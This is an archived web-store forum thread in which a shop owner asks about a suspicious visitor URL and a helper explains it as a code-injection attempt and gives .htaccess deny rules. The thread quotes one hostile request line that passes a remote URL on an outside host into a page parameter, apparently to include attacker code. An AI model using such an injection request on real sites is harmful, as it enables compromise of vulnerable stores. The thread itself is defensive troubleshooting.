elaineella61 Posted October 12, 2007 Share Posted October 12, 2007 Just lately I have been keeping an eye on my admin "who's online" as I found that some customers were leaving as I had forced cookies, so I turned it to false. The session id's are long....lol Never mind.....now to the problem!! Any way I came across this last night, I have had a look again tonight and it is there again. The url where the customer is supposed to be in my store. /catalog/index.php?cPath=http://amyru.h18.ru/images/cs.txt? When I put it in my browser window it is a page of all my category images on one page. Can someone let me know what it is and should I block their ip addy, or have I nothing to worry about? Cheers in advance elaine Link to comment Share on other sites More sharing options...
Nullachtfuffzehn Posted October 12, 2007 Share Posted October 12, 2007 Someone is trying to insert code to your website in order to install either a trojan or to hack it. Took a quick look at the code and it's apparently malware. Since it doesn't work the way they try it to, it's no danger so far. But it would make sense to block the URL in your .htaccess so they won't have access to your site anymore, cause who knows what they will try else. Link to comment Share on other sites More sharing options...
elaineella61 Posted October 12, 2007 Author Share Posted October 12, 2007 Hi Thanks for the prompt reply...I will block it, as I knew I should have in the first place as I knew it was no customer!! I have never blocked anything before...so sorry, but how do I do it? Do I block the ip or the url or both? Cheers Elaine Link to comment Share on other sites More sharing options...
Nullachtfuffzehn Posted October 12, 2007 Share Posted October 12, 2007 Best would be both in case they change the ip. Edit yout .htaccess files if you have any (Windows based web servers may not have or allow them, so you got to go through the control panel whatever it may be) and add to the following: Order deny, allow Deny from 192.168.205 Deny from phishers.example.com moreidiots.example If this section already exists, just add the bottom two lines to it. Since there may be more than one .htaccess files on your system, make sure to add that lines to the one in your shop root, so it is valid for the whole shop with all subdirectories. You can add as much entries as you want/need there... Link to comment Share on other sites More sharing options...
elaineella61 Posted October 12, 2007 Author Share Posted October 12, 2007 Hi Manfed Thanks for your time and help............you are a star!!. Cheers Elaine Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.